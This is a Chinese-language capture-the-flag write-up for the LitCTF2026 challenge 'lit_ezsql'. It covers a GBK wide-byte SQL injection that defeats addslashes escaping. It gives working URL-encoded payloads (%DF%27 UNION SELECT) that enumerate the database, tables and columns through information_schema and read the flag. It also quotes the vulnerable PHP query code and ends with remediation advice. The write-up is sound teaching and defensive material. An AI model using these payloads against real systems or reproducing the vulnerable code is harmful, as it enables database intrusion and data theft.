【LitCTF2026】lit_ezsql【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用一、前置基础字符型 SQL 注入二、黑盒发现查询参数三、黑盒测试普通 SQL 注入1. 测试数字型表达式2. 测试单引号闭合四、黑盒定位宽字节注入1. 为什么会想到尝试宽字节2. 测试宽字节单引号3. 使用 UNION 作为可观察的验证条件4. 宽字节注入完整字节流原理五、辅助确认后端SQL语句六、获取当前数据库名七、枚举数据库全部数据表八、枚举flag_store数据表的字段九、读取最终Flag值十、完整攻击链路与知识点总结1. 完整攻击利用链2. 漏洞代码层成因讲解3. 核心知识点总结十一、详细漏洞修复方案1. 根除方案使用预编译参数化查询2. 修复编码漏洞全站统一 UTF-8 编码3. 废弃无效防护删除 addslashes4. 业务层白名单过滤5. 数据库最小权限加固6. 关闭调试信息泄露7. 临时应急缓解无法改代码时使用【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用一、前置基础字符型 SQL 注入题目页面提供了一个根据id查询数据的表单。假设后端代码类似sqlSELECT id,name,col2,col3,col4 FROM users WHERE id%s%id如果用户输入没有经过处理正常输入1会形成WHEREid1如果输入1 OR 11-- -则可能形成WHEREid1OR11-- -其中第一个单引号用于闭合原字符串OR 11使条件恒真-- -注释掉后面的内容。这种注入方式称为字符型 SQL 注入。但是如果后端会在单引号前添加反斜杠例如 - \那么输入的单引号就会被当作字符串内容普通的字符型注入会失效。二、黑盒发现查询参数打开目标页面后只看到一个id输入框。首先从功能本身判断请求方式提交1后得到GET /query?id1访问/query?id1返回一条用户记录id1 namealice col2visitor col3none col4none再测试不存在的值/query?id0页面提示没有查询结果说明id参数确实参与了后端查询。三、黑盒测试普通 SQL 注入1. 测试数字型表达式先输入不带引号的常见 Payload1 OR 11结果仍然只返回id1的记录没有返回所有数据。这说明参数很可能被放进了单引号中输入整体被当成了字符串而不是直接拼接成数字条件。2. 测试单引号闭合接着测试1页面仍然返回id1的记录没有出现预期的 SQL 报错。再测试经典字符型注入1 OR 11结果依旧没有出现全表数据。继续测试带注释的形式1 OR 11-- -仍然无法得到注入结果。此时可以得到一个重要判断参数应该是字符型 SQL 查询单引号没有直接打破原有查询后端很可能对特殊字符进行了反斜杠转义需要进一步考虑编码层面的绕过而不是继续盲目修改OR 11。四、黑盒定位宽字节注入1. 为什么会想到尝试宽字节当单引号被转义成\后传统 Payload 会失效。对于 MySQL 类环境常见的下一步测试方向包括编码转换宽字节注入双重 URL 编码注释和空白符变形其他转义绕过。宽字节注入的核心思路是让数据库把“前一个字节 被添加的反斜杠”识别成一个多字节字符从而使反斜杠失去转义作用。2. 测试宽字节单引号对常见的 GBK 前导字节进行测试例如%81%27 %A1%27 %BF%27 %DF%27其中%27是单引号。单独测试时页面不一定会直接显示明显的错误因此还需要将它放进可观察的 UNION 查询中验证。3. 使用 UNION 作为可观察的验证条件我们的目标是验证是否成功闭合SQL字符串同时确定查询返回的列数。构造一个查询结果为空的值-1拼接UNION SELECT手动填充5个常量作为回显标记-1UNIONSELECT1,2,3,4,5-- -直接提交这条明文语句会被后端addslashes将单引号转义为\注入失效。宽字节注入需要手动在单引号前增加高位字节%DF再对剩余特殊字符执行URL编码最终可访问请求/query?id-1%DF%27UNIONSELECT1%2C2%2C3%2C4%2C5---页面返回内容1 | 2 | 3 | 4 | 5该回显可以同时确认3个结论%DF%27成功吃掉转义反斜杠完成字符串闭合绕过单引号防护UNION SELECT语句被MySQL正常解析执行原始SQL查询一共返回5个字段后续联合查询必须严格保持5列结构。使用-1的目的让前面原生SQLWHERE idxxx查询不到任何数据页面只会展示我们可控的UNION返回值方便观察注入结果-- -是SQL注释符舍弃闭合后多余的单引号与后续SQL语句。4. 宽字节注入完整字节流原理用户提交的URL参数解码后的原始字节0x2D 0x31 0xDF 0x27对应字符-1 高位字节0xDF 单引号后端防护函数对单引号0x27添加转义符反斜杠0x5C处理完成后的字节序列变为0xDF 0x5C 0x27 DF \ MySQL当前连接字符集为GBKGBK采用双字节编码规则0xDF 0x5C被数据库识别为一个完整合法的GBK汉字反斜杠0x5C不再具备SQL转义功能被合并进汉字剩余独立字节0x27单引号成为真正的字符串结束符。后端原本拼接的SQL逻辑WHEREid-1\ UNION SELECT ...经过GBK解析之后语义被篡改成功执行联合注入WHEREid-1運UNIONSELECT1,2,3,4,5-- - 补充说明%DF不是随意选择的字符测试时需要批量遍历GBK可用高字节%81、%A1、%BF、%DF逐个探测最终通过UNION回显确认%DF可成功利用。在线URL编码工具无法自动生成该Payload高位字节需要人工拼接。五、辅助确认后端SQL语句黑盒测试阶段尝试探测额外参数追加debug1/query?id1debug1页面泄露完整执行SQLSELECTid,name,col2,col3,col4FROMezsql.usersWHEREid1LIMIT50提交普通单引号payload后调试页面展示转义结果WHEREid1\日志直观证明后端开启了转义防护单引号自动添加反斜杠。即便不存在debug调试接口我们也可以依靠「普通注入失败 %DF%27联合查询成功」的行为特征判断宽字节注入漏洞不需要依赖SQL泄露。六、获取当前数据库名确认注入可用后修改联合查询的第二列替换为MySQL内置函数database()读取当前库名原始SQL语句-1UNIONSELECT1,database(),3,4,5-- -完整URL编码请求手动拼接%DF其余字符使用RFC标准%20空格编码/query?id-1%DF%27%20UNION%20SELECT%201%2Cdatabase%28%29%2C3%2C4%2C5--%20-页面回显结果ezsql得到当前数据库名称ezsql七、枚举数据库全部数据表利用系统库information_schema.tables查询当前库内所有表名原始SQL语句-1UNIONSELECT1,group_concat(table_name),3,4,5FROMinformation_schema.tablesWHEREtable_schemadatabase()-- -URL编码后的请求链接/query?id-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28table_name%29%2C3%2C4%2C5%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase%28%29--%20-返回结果users,flag_store筛选目标敏感表flag_store八、枚举flag_store数据表的字段绕过引号过滤技巧使用十六进制值0x666c61675f73746f7265代替字符串flag_store避免再次使用单引号。原始SQL语句-1UNIONSELECT1,group_concat(column_name),3,4,5FROMinformation_schema.columnsWHEREtable_schemadatabase()ANDtable_name0x666c61675f73746f7265-- -URL编码请求/query?id-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28column_name%29%2C3%2C4%2C5%20FROM%20information_schema.columns%20WHERE%20table_schema%3Ddatabase%28%29%20AND%20table_name%3D0x666c61675f73746f7265--%20-0x666c61675f73746f7265等价字符串flag_store页面返回字段id,flag目标字段flag_store.flag九、读取最终Flag值构造Payload读取flag字段全部内容原始SQL语句-1UNIONSELECT1,group_concat(flag),3,4,5FROMezsql.flag_store-- -完整可直接访问的请求地址/query?id-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28flag%29%2C3%2C4%2C5%20FROM%20ezsql.flag_store--%20-页面回显flagflag{kkvxy7jm-kx3x-4pl-82f7-bmtcrpifthip3}十、完整攻击链路与知识点总结1. 完整攻击利用链1. 发现站点 /query?id 可控GET参数存在SQL字符串拼接查询点 2. 常规单引号 1 注入被转义失效初步判断存在 addslashes 防护 3. 利用 debug1 泄露后端SQL确认参数被单引号包裹、存在转义行为 4. 结合 MySQLGBK 环境特征判定存在宽字节注入漏洞 5. 测试高位字节字典确定 %DF%27 可吃掉反斜杠成功闭合SQL 6. 构造5列UNION查询确认字段数量、验证注入完全可用 7. 调用 database() 函数枚举当前数据库ezsql 8. 查询 information_schema.tables 枚举所有表users、flag_store 9. 十六进制绕过单引号枚举 flag_store 表字段id、flag 10. 查表获取 flag 字段内容拿到最终 FLAG2. 漏洞代码层成因讲解后端不安全源码逻辑漏洞根源// 危险写法直接拼接用户输入$sqlSELECT id,name,col2,col3,col4 FROM users WHERE id$id;程序为了防注入使用了错误的防护方式$idaddslashes($_GET[id]);漏洞叠加原因SQL字符串拼接用户输入直接参与SQL语法构造是注入根本源头。addslashes 防护缺陷只会固定把转为\属于字符级浅层防护。数据库GBK编码MySQL连接编码为GBK允许两字节合成一个汉字。攻击者可控高位字节传入%DF%27服务端转义后变成%DF%5C%27MySQL(GBK) 将DF 5C解析为一个完整汉字反斜杠被吃掉剩下%27单引号成功闭合SQL3. 核心知识点总结字符型SQL注入参数被单引号包裹可控输入可破坏SQL结构。宽字节注入原理GBK双字节编码特性绕过addslashes转义防护。URL编码细节GET参数中与%20等效均为空格不影响漏洞利用。UNION 联合查询必须严格匹配原查询字段数量否则无法回显数据。MySQL 渗透流程通过information_schema系统库逐层枚举库、表、字段。调试接口危害debug1泄露SQL源码极大降低攻击难度。十一、详细漏洞修复方案1. 根除方案使用预编译参数化查询危险代码$id$_GET[id];$sqlSELECT * FROM users WHERE id$id;安全修复代码$sqlSELECT * FROM users WHERE id:id;$stmt$pdo-prepare($sql);$stmt-bindParam(:id,$_GET[id]);$stmt-execute();修复原理预编译将「SQL语句结构」和「用户参数」完全分离无论传入任何恶意Payload只会被当作纯参数值永远不会被数据库解析为SQL语句彻底杜绝所有SQL注入含宽字节注入。2. 修复编码漏洞全站统一 UTF-8 编码废弃项目GBK数据库连接配置// 移除$pdo-exec(SET NAMES GBK);// 改为$pdo-exec(SET NAMES utf8mb4);修复原理UTF-8 无“高低字节拼接”特性不存在吃掉反斜杠的条件从底层彻底废掉宽字节注入漏洞。3. 废弃无效防护删除 addslashesaddslashes在GBK环境完全失效属于伪防护必须直接删除不能作为防御手段。4. 业务层白名单过滤该接口id为纯数字参数后端强制校验if(!is_numeric($_GET[id])){die(非法参数);}严格限制输入格式杜绝编码字符、特殊符号进入后端逻辑。5. 数据库最小权限加固网站业务账号禁止访问 information_schema禁止跨库查询权限禁止文件导出、高权限操作即使存在注入漏洞攻击者也无法枚举库表、无法脱库。6. 关闭调试信息泄露生产环境禁用debug调试参数关闭SQL报错详情、堆栈信息输出防止泄露后端SQL结构阻断黑盒测试辅助信息。7. 临时应急缓解无法改代码时使用WAF 拦截 UNION、SELECT、information_schema、database() 等注入关键字拦截%DF、%81等异常高位GBK攻击字节过滤非常规URL编码字符
